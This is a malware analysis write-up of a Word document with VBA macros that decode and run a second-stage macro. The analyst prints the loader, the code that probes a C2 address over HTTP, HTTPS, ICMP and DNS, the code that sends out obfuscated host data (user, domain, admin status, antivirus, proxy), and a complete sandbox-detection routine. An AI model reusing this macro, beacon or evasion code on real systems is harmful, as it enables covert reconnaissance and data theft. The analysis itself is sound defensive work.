Malware Analysis: dotanFile.doc
On first finding this sample, I was excited to think that I had found something interesting, rarely detected, and definitely malicious so close to when it was potentially used in a phishing attack. The more analysis I did, the more it became clear this was more likely a testing document, used by a security team evaluating their employees or an endpoint product. Still, it was an interesting sample to play with, and understand how it does interesting things like C2 protocol detection and Sandbox detection.
File Info
Filename | dotanFile.doc |
sha1 | bf8001c5f9b59c9825eec0a4128fbedd8e68fb20 |
VT Link | https://www.virustotal.com/#/file/fe5ea4c11a3a933f3592f76287334eb2161181efd7241a2b99b5c20aff649f76/details |
Metadata
The file was uploaded to VT about an hour and a half ago, and last modified today as well:
# file fe5ea4c11a3a933f3592f76287334eb2161181efd7241a2b99b5c20aff649f76
fe5ea4c11a3a933f3592f76287334eb2161181efd7241a2b99b5c20aff649f76: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: Liran Segal, Template: Normal.dotm, Last Saved By: Liran Segal, Revision Number: 19, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:44:00, Create Time/Date: Wed Aug 8 21:32:00 2018, Last Saved Time/Date: Wed Aug 8 23:57:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Security: 0
VT Detections
At the time of writing, only 5 AV engines detect this file as malicious:
Presentation / Lure
This document is just a blank document, so nothing to lure the user, no pretense.
VBA
Raw
The VBA in this document actually interfaces with Word to create a new document, put VBA into it, and then call the AutoOpen
function from it. We’ll walk through the interesting blocks.
Inside the DocumentOpen
function, first it creates two strings. comStr
is a large base64-encoded blob. chckT
is “bin”
comStr = s01
chckT = "bi"
chckT = chckT + "n."
Next, it uses GetObject
to get a reference to MicrosoftWord, and then adds a new item. merrFolder
will be something like “Document1”, or a higher number if there are already other unsaved documents open. It also adds a VB component to the document.
Set errDesktop = GetObject("new:000209FF-0000-0000-C000-000000000046")
Set merrFolder = errDesktop.Documents.Add
merrFolder.ActiveWindow.Visible = True
Set objectFile = merrFolder.VBProject.VBComponents.Add(1)
Next it does a similar bit with MSXML, getting an object, creating an element. Then it calls a function, firstDe
, passing in the base64-encoded blob and the MSXML object:
Set gtypeDesktop = GetObject("new:2933BF90-7B36-11D2-B20E-00C04F983E60")
Set mlngCode = gtypeDesktop.createElement("merrFound")
comStr = firstDe(comStr, mlngCode)
firstDe
uses MSXML’s StrConv
function to base64-decode the blog and return it:
Function firstDe(comStr, mlngCode)
mlngCode.DataType = "bin.base64"
mlngCode.Text = comStr
blnCurrent = mlngCode.NodeTypedValue
firstDe = StrConv(blnCurrent, vbUnicode)
End Function
Next, the string “base64” is formed, and then the blob is base64-decoded a second time, and then added to a CodeModule. Finally, that module’s Auto_Open
function is run:
chckT = chckT + "ba"
chckT = chckT + "s"
chckT = chckT + "e6"
chckT = chckT + "4"
mlngCode.DataType = chckT
mlngCode.Text = comStr
blnCurrent = mlngCode.NodeTypedValue
objectFile.CodeModule.AddFromString StrConv(blnCurrent, vbUnicode)
errDesktop.Run ("Auto_Open")
Decoded
I pulled out the blob and decoded it twice. The resulting code seems to be completely unobfuscated.
Function Names
To start, looking at the list of function names, there’s a good bit to do with networking, as well as some other really interesting ones like Sandbox
, IsLocalAdmin
, IsOutlookRunning
, GetAV
, GetProxy
:
Private Declare Function IcmpCreateFile Lib "icmp.dll" () As Long
Private Declare Function IcmpCloseHandle Lib "icmp.dll" _
Private Declare Function IcmpSendEcho Lib "icmp.dll" _
Private Declare Function WSAGetLastError Lib "wsock32" () As Long
Private Declare Function WSAStartup Lib "wsock32" _
Private Declare Function WSACleanup Lib "wsock32" () As Long
Private Declare Function gethostname Lib "wsock32" _
Private Declare Function gethostbyname Lib "wsock32" _
Private Declare Function inet_addr Lib "wsock32" _
Private Declare Function DnsQuery Lib "dnsapi" Alias "DnsQuery_A" (ByVal strname As String, ByVal wType As Integer, ByVal fOptions As Long, ByVal pServers As Long, ppQueryResultsSet As Long, ByVal pReserved As Long) As Long
Private Declare Function DnsRecordListFree Lib "dnsapi" (ByVal pDnsRecord As Long, ByVal FreeType As Long) As Long
Function Main()
Function SandBox()
Function GetMethodType(myWebsite)
Function BuildQuery() As String
Function InitHTTP(myWebsite, objHTTP, sText)
Function InitHTTPS(myWebsite, sText)
Function TestDNS()
Function TestHTTP(objHTTP, myWebsite)
Function TestHTTPS(myWebsite)
Function TestICMP(strHost)
Function IsLocalAdmin(objSysInfo)
Function IsOutlookRunning(objWMIService)
Function GetUser(objSysInfo)
Function GetDomain(objWMISvc, colItems)
Function GetAV(colItemsAV)
Function GetProxy(oReg)
Function btoa(sourceStr)
Private Function QueryDNS(sAddr As String) As Boolean
Private Function sendPing(Adrr, text) As Boolean
Private Function Ping(sAddress As String, _
Private Function SocketsInitialize() As Boolean
Private Function GetStatusCode(status As Long) As String
Main
The Auto_Open
function called in the loading VBA simply calls Main
.
Main
starts with a check, If Sandbox Then Exit Function
. Then there’s a switch statement on GetMethodType("54.152.19.47")
This function tests the c2 to see what it’s listening on:
Function GetMethodType(myWebsite)
Dim objHTTP, gggggggg
gggggggg = "WinHttp.WinHttpRequest.5.1"
Set objHTTP = CreateObject(gggggggg)
If TestHTTP(objHTTP, myWebsite) Then
GetMethodType = 0
Exit Function
Else
If TestHTTPS(myWebsite) Then
GetMethodType = 1
Exit Function
End If
End If
If TestICMP(myWebsite) Then
GetMethodType = 2
Exit Function
End If
If TestDNS() Then
GetMethodType = 3
Exit Function
End If
GetMethodType = 999
End Function
I simulated the TestHTTP
function with a curl, and got back a result:
<!DOCTYPE html>
<html>
<head>
<style>
ul {
list-style-type: none;
margin: 0;
padding: 0;
overflow: hidden;
background-color: #333;
}
li {
float: left;
}
li a {
display: inline-block;
color: white;
text-align: center;
padding: 14px 16px;
text-decoration: none;
}
li a:hover {
background-color: #111;
}
.active {
background-color: red;
}
#bg {
width: 100%;
height: 100%;
position: absolute;
top: 0;
left: 0;
z-index: -5000;
}
</style>
</head>
<body>
<ul>
<li><a href="#home" class="active">Home</a></li>
<li><a href="/CORSer.html">Corser</a></li>
<li><a href="/WSclient.html">WebSocket Client</a></li>
<li><a href="/clickJacker.html">ClickJacking</a></li>
<li><a href="/Facebooc.html">Phishing - Example</a></li>
</ul>
<div align="center"><img src="https://i.imgur.com/JZrUNZr.gif" id="bg"></div>
</body>
</html
This was my first clue that this document likely wasn’t actually in use by malicious actor. The return page has all sorts of malicious terms in it, and makes no attempt to hide.
I also tested HTTPS, but got no response.
Continuing with HTTP as successful, the code goes into this block, here it builds a query, sends the request to the C2, and then pops a msgbox with success or failure:
sText = BuildQuery()
If InitHTTP(myWebsite, objHTTP, sText) Then
MsgBox sText, vbOKOnly, "Reqeust Sent HTTP"
Else
MsgBox sText, vbOKOnly, "Failed to Initiate HTTP request"
End If
Survey Data
The data that is sent out is an obfuscated string. First, it collects a bunch of information:
hhhhhhhh = "winmgmts:\\.\root\cimv2"
iiiiiiiii = "winmgmts:{impersonationLevel=impersonate}!\\"
jjjjjjjj = "\root\SecurityCenter2"
kkkkkkk = "Select * frOm AntiVir"
llllllllll = "usProduct"
mmmmmmm = "Select * from Win32_ComputerSystem"
nnnnnnn = "WinNTSystemInfo"
oooooo = "\root\default:StdRegProv"
ppppppp = "winmgmts://"
qqqqqqq = "u="
rrrrrr = "&d="
ttttttt = "&isA="
ssssssssss = "&out="
uuuuuuu = "&av="
vvvvvvvv = "&Proxy="
Const strComputer = "."
Set objWMISvc = GetObject(hhhhhhhh)
Set AVWMI = GetObject(iiiiiiiii & strComputer & jjjjjjjj)
Set colItemsAV = AVWMI.ExecQuery(kkkkkkk & llllllllll)
Set colItemsDOM = objWMISvc.ExecQuery(mmmmmmm)
Set objSysInfo = CreateObject(nnnnnnn)
Set oReg = GetObject(iiiiiiiii & strComputer & oooooo)
strObject = ppppppp & strComputer
ddddddDDD = GetDomain(objWMISvc, colItemsDOM)
uuuUU1 = GetUser(objSysInfo)
iissAAA = IsLocalAdmin(objSysInfo)
Outout = IsOutlookRunning(objWMISvc)
aAAVVv = GetAV(colItemsAV)
pPPPRRr = GetProxy(oReg)
Then it combines it all into a string, and calls btoa
to base64 encode it:
Str = btoa(qqqqqqq & uuuUU1 & rrrrrr & ddddddDDD & ttttttt & iissAAA & ssssssssss & Outout & uuuuuuu & aAAVVv & vvvvvvvv & pPPPRRr)
Then, it obfuscates further by replacing a bunch of characters with punctuation:
Str = Replace(Str, "A", ":")
Str = Replace(Str, "a", "~")
Str = Replace(Str, "B", "%")
Str = Replace(Str, "b", "*")
Str = Replace(Str, "C", "{")
Str = Replace(Str, "c", "-")
Str = Replace(Str, "D", "}")
Str = Replace(Str, "1", "]")
Str = Replace(Str, "2", "[")
Str = Replace(Str, "3", "$")
Str = Replace(Str, "=", "&")
BuildQuery = Str
On my test host, that came out as:
dT][YWdyYW50JmQ9V09SS0dST]VQJmlzQT]U-nVlJm9]d}]GYWxzZSZhdj]N~WNy*$NvZnQgU[VjdXJpdHkgRXNzZW50~WFs-y]E~XNhYmxlZ{smUHJveHk9LT:&
$ echo 'dT][YWdyYW50JmQ9V09SS0dST]VQJmlzQT]U-nVlJm9]d}]GYWxzZSZhdj]N~WNy*$NvZnQgU[VjdXJpdHkgRXNzZW50~WFs-y]E~XNhYmxlZ{smUHJveHk9LT:&' | tr ':~%*{-}][$&' 'AaBbCcD123=' | base64 -D
u=vagrant&d=WORKGROUP&isA=Tue&out=False&av=Microsoft Security Essential-Disabled+&Proxy=-0~
SandBox
The SandBox
function is interesting as well. It starts with a score
variable set to 0, performs a series of tests, each one potentially incrementing score
by 1 or 2, and then returns true is score
is greater than 2.
The tests are:
- If the computer is part of a domain, and the computer name is the same as the domain name, score += 2
- If the number of cores < 2, score += 1
- If the system up time is less than 11 minutes, score += 2
- If the size of the hard drive is less than 15 GB, score += 2
- If the amount of filled space on the hard drive (size of the harddrive minus the free space) is less than 15 GB, score += 1
Here’s the sandbox detection code in it’s entirety:
Function SandBox()
Dim score, aaaaaa, bbbbbb, cccccc, dddddd, eeeeee, fffffff
aaaaaa = "winmgmts:\\.\root\cimv2"
bbbbbb = "SeleCt * from Win32_ComputerSystem"
cccccc = "WinNTSystemInfo"
dddddd = "SELeCT * FROM Win32_Processor"
eeeeee = "SeleCt * From Win32_PerfFormattedData_PerfOS_System"
fffffff = "Win32_LogicalDisk.DeviceID='c:'"
score = 0
Dim objWMISvc
Set objWMISvc = GetObject(aaaaaa)
Dim colItemsDisk
Dim colItems
Set colItems = objWMISvc.ExecQuery(bbbbbb)
Dim objSysInfo
Set objSysInfo = CreateObject(cccccc)
Dim strComputerName
Dim stfgds
stfgds = ", "
strComputerName = objSysInfo.ComputerName
For Each objItem In colItems
strComputerDomain = objItem.Domain
If objItem.PartOfDomain And strComputerName = strComputerDomain Then
score = score + 2
End If
Next
Set colItems = objWMISvc.ExecQuery(dddddd)
For Each objItem In colItems
If objItem.NumberOfCores < 2 Then
score = score + 1
End If
Next
Set colOperatingSystems = objWMISvc.ExecQuery(eeeeee)
For Each objOS In colOperatingSystems
intSystemUptime = Int(objOS.SystemUpTime)
TimedAt = FormatDateTime(Date, 2) & stfgds & FormatDateTime(Time(), 4)
M = intSystemUptime \ 60
If M < 11 Then
score = score + 2
End If
Next
Set colItemsDisk = objWMISvc.Get(fffffff)
GB = Round(colItemsDisk.FreeSpace / 1024 / 1024 / 1024)
SZ = Round(colItemsDisk.Size / 1024 / 1024 / 1024)
If SZ <= 60 Then
score = score + 2
End If
If SZ - GB <= 15 Then
score = score + 1
End If
If score > 2 Then
SandBox = True
Else
SandBox = False
End If
End Function
Summary
I’d never pulled apart a document where the VBA created another document, including VBA. And while typically the unobfuscated VBA does as little necessary to download or drop the next stage on disk, this sample implemented a good deal of code. This seems more like a sample used by testers than a true malicious result. Still, more than 5 vendors in VT should be alerting on this document.